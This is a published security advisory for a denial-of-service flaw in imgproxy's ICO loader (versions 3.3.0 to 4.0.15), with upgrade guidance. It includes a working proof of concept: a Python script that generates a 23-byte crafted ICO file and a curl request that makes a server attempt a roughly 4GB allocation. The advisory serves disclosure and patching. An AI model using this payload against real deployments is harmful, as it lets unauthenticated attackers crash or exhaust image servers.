imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field
GHSA-mmq5-xm89-9pfg · published 30 Oct 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by GHSA-mmq5-xm89-9pfg?
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Who is affected
github.com/imgproxy/imgproxy/v3(Go) >= 3.3.0, <= 4.0.15
How to check
- Run
go list -m github.com/imgproxy/imgproxy/v3in your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/imgproxy/imgproxy/v3to 4.0.16 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
Unbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.
### Details
In `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation:
```
uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);
// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);
```
There is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`.
### PoC
```py
# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)
data = b'\x00'
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'
open('ico-4gb.ico', 'wb').write(blob)
print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]")
```
```
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png"
# → outcome depends on host memory: on a memory-constrained pod the worker
# OOM-dies; on a larger host the ~4GB allocation succeeds transiently and
# decode fails -> HTTP 500 (worker survives, but each request burns ~4GB
# transiently — repeatable memory exhaustion).
```
### Impact
Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.
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References
- github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg
- github.com/imgproxy/imgproxy/commit/a821b6a4cb07a1bf2bb9077431d1c1e734d79917
- github.com/imgproxy/imgproxy/releases/tag/v4.0.16
- github.com/advisories/GHSA-mmq5-xm89-9pfg
- github.com/imgproxy/imgproxy
Merged from GitHub Advisory Database, OSV. Last updated 31 Oct 2026. All vulnerabilities · RSS · JSON